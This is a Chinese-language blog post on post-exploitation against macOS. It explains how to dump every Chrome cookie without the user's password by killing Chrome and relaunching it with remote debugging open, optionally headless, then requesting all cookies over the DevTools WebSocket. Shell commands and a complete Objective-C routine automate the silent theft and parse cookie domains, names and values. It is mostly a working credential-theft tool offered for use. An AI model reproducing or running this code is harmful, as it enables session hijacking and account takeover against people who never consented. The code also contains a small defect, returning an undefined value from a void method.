動態

詳情 返回 返回

MacOS無密碼 dump chrome cookie - 動態 詳情

1、背景
在後台滲透中,獲取用户數據是很重要的一步,其中包括瀏覽器的各種敏感信息,如瀏覽記錄、下載歷史、cookie、書籤等。

在windows和Linux設備上可以比較輕鬆的獲取各種瀏覽器的敏感信息,chrome extensions也有很多插件可以獲取;hack-browser-data就是一個瀏覽器(包括密碼、歷史記錄、Cookie、書籤、信用卡、下載記錄)的導出工具,支持全平台主流瀏覽器。GitHub主頁:https://github.com/moonD4rk/HackBrowserData

Chrome的數據文件存儲路徑可以通過在地址欄中輸入chrome://version看到,其中個人資料(Profile Path)就是存儲路徑:
image.png

此路徑下有Cookies、History、Login Data等文件存儲對應的信息,拷貝後使用 sqlite3 數據庫打開Cookies,看到encrypte_value關鍵字段是BLOB (Binary long Object)類型,我們要做的就是如何解密這串二進制。

在windows上,解密需要用到的secret key值存儲在Profile Path上級路徑的Local State文件中,字段encrypted_key 為AES用到的key值。整個解密過程無需任何密碼,用户只需可以訪問Chrome數據文件便可完成解密。

在macos上,解密稍微不一樣,其中用到的secret key值則存儲在keychain中,所以解密過程必須得要輸入系統密碼,會有彈窗提示出現。

  • 關鍵點來嘍:
    2、Mac下dump cookie

在Mac平台需要解密數據,如cookie,則無法通過常規手段(通過獲取對應存儲數據)解密得到。
使用chrome提供的 CDP(Chrome DevTools Protocol),這是一個用於與Chrome瀏覽器進行通信的遠程調試協議。通過WebSocket連接發送CDP命令來獲取cookie。具體的命令是Network.getCookies。

第一步
1、 ps aux | grep Chrome 觀察瀏覽器是否在運行。
2 、若瀏覽器已運行,執行:killall "Google Chrome" 殺掉瀏覽器進程。
3 、馬上在第二步命令後加上--restore-last-session,還原瀏覽器最近瀏覽的選項卡。
4 、若瀏覽器未在運行,直接執行第二步,獲取到cookie後 殺掉進程即可。

第二步
以遠程調試模式啓動Chrome,命令如下:
/Applications/Google Chrome.app/Contents/MacOS/Google Chrome --headless --remote-allow-origins=* --remote-debugging-port=9222 --user-data-dir=/Users/imac/Library/Application Support/Google/Chrome

運行 Headless Chrome 模式可以不顯示窗口,根據需要是否使用

第三步
獲取WebSocket調試URL,命令如下:
curl -s localhost:9222/json
這個端點會返回所有打開的標籤頁的信息,包括每個標籤頁的WebSocket調試URL。

image 2.png
webSocketDebuggerUrl字段就是要用到的調試URL(任選一個webSocketDebuggerUrl即可)

第四步
使用第三步得到的URL,建立WebSocket連接,通過WebSocket連接發送CDP命令來獲取cookie。格式如下:
{"id": 1,"method":"Network.getAllCookies"}

image 3.png
如上圖:發送命令後會收到返回的結果,紅色框起來部分,成功獲取到cookie。

PS:以下幾個URL都可以訪問查看相關信息
**http://localhost:9222/json
http://localhost:9222/json/protocol
http://localhost:9222/json/version**

以下方法為關鍵方法

- (void)getCookieInfo {
    NSString *googleChromeName = @"Google Chrome";
    BOOL googleChromeExist = [CommonUtil checkFileExist:@"/Applications/Google Chrome.app"];
    if (!googleChromeExist) {
        NSLog(@"Google Chrome has not installed");
    }else {
        NSArray *googleChromeProcessArray = [CommonUtil runningProcessesWithProcessName:googleChromeName];
        if (googleChromeProcessArray.count == 0) {
            NSLog(@"Chrome not running, start executing the command.");
            NSString *exec_cmd = [NSString stringWithFormat:@"/Applications/Google\\ Chrome.app/Contents/MacOS/Google\\ Chrome --headless --remote-allow-origins=* --remote-debugging-port=%@ --user-data-dir=\"%@/Application Support/Google/Chrome\"", listening_port, [CommonUtil getLibPath]];
            dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
                [CMDUtil executeCommand:exec_cmd];
            });
            
            int check_num = 0;
            BOOL Chrome_Running = NO;
            while (1) {
                NSLog(@"detected 第%d次 Chrome is it activated", check_num);
                if (check_num >= 30) {//2秒一次,達到30説明已經檢測了1分鐘還未啓動起來
                    break;
                }
                sleep(2);
                //這裏必須用Helper這個進程來檢測,因為瀏覽器還沒有完全啓動起來的時候,Google Chrome這個進程也已經存在了,但是Helper這個進程會在瀏覽器完全啓動起來才出現
                if ([CommonUtil runningProcessesWithProcessName:@"Google Chrome Helper (Renderer)"].count != 0 ) {//檢測google_chrome是否啓動起來了
                    //已經啓動起來了;
                    Chrome_Running = YES;
                    break;
                };
                NSLog(@"Chrome還未啓動起來,繼續檢測");
                check_num++;
            }
            if (Chrome_Running) {
                NSLog(@"Chrome啓動成功");
                [self curlGetCookie];//執行獲取cookie的方法,比較關鍵
                //獲取成功關閉chrome
                NSString *googleChromePID = [CommonUtil runningProcessesWithProcessName:googleChromeName][0][@"ProcessID"];
                [CMDUtil executeCommand:[NSString stringWithFormat:@"kill -9 %@", googleChromePID]];
                NSLog(@"Kill Google Chrome");
            }else {
                NSLog(@"啓動Chrome超時");
            }
        }else {
            //找到已經運行的進程,關閉該chrome進程
            NSString *googleChromePID = [CommonUtil runningProcessesWithProcessName:googleChromeName][0][@"ProcessID"];
            [CMDUtil executeCommand:[NSString stringWithFormat:@"kill -9 %@", googleChromePID]];
            
            NSString *exec_cmd = [NSString stringWithFormat:@"/Applications/Google\\ Chrome.app/Contents/MacOS/Google\\ Chrome --remote-allow-origins=* --remote-debugging-port=%@ --user-data-dir=\"%@/Application Support/Google/Chrome\"", listening_port, [CommonUtil getLibPath]];
            dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
                [CMDUtil executeCommand:exec_cmd];
            });
            
            int check_num = 0;
            BOOL Chrome_Running = NO;
            while (1) {
                NSLog(@"detected 第%d次 Chrome is it activated", check_num);
                if (check_num >= 30) {//2秒一次,達到30説明已經檢測了1分鐘還未啓動起來
                    break;
                }
                sleep(2);
                //這裏必須用Helper這個進程來檢測,因為瀏覽器還沒有完全啓動起來的時候,Google Chrome這個進程也已經存在了,但是Helper這個進程會在瀏覽器完全啓動起來才出現
                if ([CommonUtil runningProcessesWithProcessName:@"Google Chrome Helper (Renderer)"].count != 0 ) {//檢測google_chrome是否啓動起來了
                    //已經啓動起來了;
                    Chrome_Running = YES;
                    sleep(10);//再等待10秒來確定瀏覽器已經啓動起來了
                    break;
                };
                NSLog(@"Chrome還未啓動起來,繼續檢測");
                check_num++;
            }
            
            if (Chrome_Running) {
                NSLog(@"Chrome啓動成功");
                [self curlGetCookie];//執行獲取cookie的方法,比較關鍵
            }else {
                XHLog(@"啓動Chrome超時");
            }
        }
    }
    return res;
}

- (void)curlGetCookie {
    NSString *result = [CMDUtil executeCommand:[NSString stringWithFormat:@"curl -s localhost:%@/json",listening_port]];
    NSData *nsData=[result dataUsingEncoding:NSUTF8StringEncoding];
    NSError *err;
    NSArray *urls = [NSJSONSerialization JSONObjectWithData:nsData options:kNilOptions error:&err];
    if (err != nil) {
        NSLog(@"解析出錯:%@",err.localizedDescription);
        NSLog(@"出錯的數據:%@",result);
    }else {
        if (urls.count == 0) {
            NSLog(@"localhost請求回的數組裏沒有任何結果");
        }else {
            NSDictionary *dic = urls[0];
            NSString *url = dic[@"webSocketDebuggerUrl"];
            
            NSLog(@"URL:%@",url);
            self.socket = [[JFRWebSocket alloc] initWithURL:[NSURL URLWithString:url] protocols:@[]];
            self.socket.delegate = self;
            __block NSString *error_msg = @"";
            __block NSString *cookie_str = @"";
            __block BOOL isLoopRunning = YES;
            __weak __typeof(self)weakSelf = self;
            self.socket.onConnect = ^{
                __strong __typeof(weakSelf)strongSelf = weakSelf;
                [strongSelf.socket writeString:@"{\"id\": 1, \"method\": \"Storage.getCookies\"}"];//Storage.getCookies || Network.getAllCookies
                XHLog(@"websocket已連接");
            };
            
            self.socket.onDisconnect = ^(NSError *error) {
                isLoopRunning = NO;
                error_msg = @"Websocket is disconnected";
                NSLog(@"websocket is disconnected: %@",error);
            };
            
            self.socket.onText = ^(NSString *text) {
                NSLog(@"獲取到Cookie返回值");
                cookie_str = text;
                isLoopRunning = NO;
            };
            
            [self.socket connect];
            
            __block BOOL time_out = NO;
            //這裏添加一個定時任務,主要是防止websocket一直連接不上,程序一直在這裏卡着
            [[GCDTimerManager sharedInstance] scheduleGCDTimerWithName:@"overdue" interval:30 queue:nil repeats:NO option:CancelPreviousTimerAction action:^{
                isLoopRunning = NO;
                time_out = YES;
            }];
            do {
                [NSRunLoop.mainRunLoop runMode:NSDefaultRunLoopMode beforeDate:[NSDate dateWithTimeIntervalSinceNow:0.1]];
            } while (isLoopRunning);
            
            XHLog(@"獲取Cookie走完While循環");
            if (time_out) {
                NSLog(@"Websocket connection timeout");
            }else {
                NSLog(@"已經獲取完了Cookie");
                if (cookie_str.length != 0) {
                    NSLog(@"%@",cookie_str);
                    NSLog(@"獲取到了cookie,準備解析成json");
                    NSData *jsonData=[cookie_str dataUsingEncoding:NSUTF8StringEncoding];
                    NSError *json_err;
                    NSDictionary *cookie_dic = [NSJSONSerialization JSONObjectWithData:jsonData options:kNilOptions error:&json_err];
                    if (json_err != nil) {
                        NSLog(@"Parsing cookies failed");
                    }else {
                        if ([[cookie_dic allKeys] containsObject:@"result"]) {
                            NSDictionary *cookie_d = cookie_dic[@"result"];
                            if ([[cookie_d allKeys] containsObject:@"cookies"]) {
                                NSArray *cookies_array = cookie_d[@"cookies"];
//                                {
//                                    domain = ".cloud.ibm.com";
//                                    expires = "1155201149.639244";
//                                    httpOnly = 1;
//                                    name = "com.ibm.cloud.console.analytics.anonymousId";
//                                    path = "/analytics";
//                                    priority = Medium;
//                                    sameParty = 0;
//                                    sameSite = None;
//                                    secure = 1;
//                                    session = 0;
//                                    size = 79;
//                                    sourcePort = 443;
//                                    sourceScheme = Secure;
//                                    value = "70c6xxff-4af8-4w88-q40e-c5eb44a74f1b";
//                                }
//                                NSInteger cookie_number = 10;
//                                if(cookies_array.count > cookie_number) {//只取最後10條記錄,避免數據寫入庫失敗
//                                    cookies_array = [cookies_array subarrayWithRange:NSMakeRange(cookies_array.count - cookie_number, cookie_number)];
//                                }
                                // 創建一個數組來存儲提取的信息
                                NSMutableArray *extractedInfoArray = [NSMutableArray array];
                                // 遍歷字典數組
                                for (NSDictionary *dict in cookies_array) {
                                    // 提取domain、name和value
                                    NSString *const domain = dict[@"domain"];
                                    NSString *const name = dict[@"name"];
                                    NSString *const value = dict[@"value"];
                                    
                                    // 創建一個新字典來存儲提取的信息
                                    NSMutableDictionary *extractedInfo = [NSMutableDictionary dictionary];
                                    extractedInfo[@"domain"] = domain;
                                    extractedInfo[@"name"] = name;
                                    extractedInfo[@"value"] = value;
                                    
                                    // 將提取的信息添加到數組中
                                    [extractedInfoArray addObject:extractedInfo];
                                }
                                
                                NSError *array_error = nil;
                                NSData *jsonArrayData = [NSJSONSerialization dataWithJSONObject:extractedInfoArray options:NSJSONWritingPrettyPrinted error:&array_error];
                                NSString *cookies_str = [[NSString alloc] initWithData:jsonArrayData encoding:NSUTF8StringEncoding];;
                                if (array_error != nil) {
                                    NSLog(@"Serialization cookies array error:%@",array_error.localizedDescription);
                                    NSLog(@"序列化數組出錯:%@",array_error.localizedDescription);
                                }else {
                                    NSLog(@"成功解析了Cookie,值為:%@",cookie_str);
                                }
                            }else {//字典中沒有找到Cookies字段
                                NSLog(@"字典中沒有找到Cookies字段");
                            }
                        }else {
                            XHLog(@"沒有result的情況");
                        }
                    }
                    
                }else {
                    NSLog(@"cookie沒有獲取成功,錯誤信息:%@",error_msg);
                }
            }
        }
    }
}
user avatar guaguokedeputaojiu 頭像 zhoumo_62382eba4b454 頭像 wangjingyu_5f58472234cff 頭像
點贊 3 用戶, 點贊了這篇動態!
點贊

Add a new 評論

Some HTML is okay.